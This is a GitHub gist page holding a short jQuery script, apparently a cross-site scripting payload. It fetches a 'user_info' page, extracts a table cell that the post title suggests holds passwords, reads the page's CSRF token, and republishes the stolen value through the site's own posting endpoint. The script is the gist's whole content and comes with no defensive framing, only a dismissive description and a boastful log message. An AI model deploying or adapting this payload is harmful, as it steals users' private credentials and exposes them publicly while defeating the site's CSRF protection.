Created
August 25, 2012 20:36
-
-
Save v/3470727 to your computer and use it in GitHub Desktop.
dont worry about it
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.ajax('user_info', { | |
success: function(response){ | |
var result = $(response).find('td')[1].innerHTML; | |
var csrf = $('input[name="_csrf"]').val(); | |
var data = { | |
title: 'ALL THEM PASSWORDZ', | |
body: encodeURIComponent(result), | |
_csrf: csrf | |
} | |
$.ajax('ajax/posts', { | |
type: 'POST', | |
data: data, | |
success: function(response) { | |
console.log("FUCK YEAH"); | |
} | |
}); | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment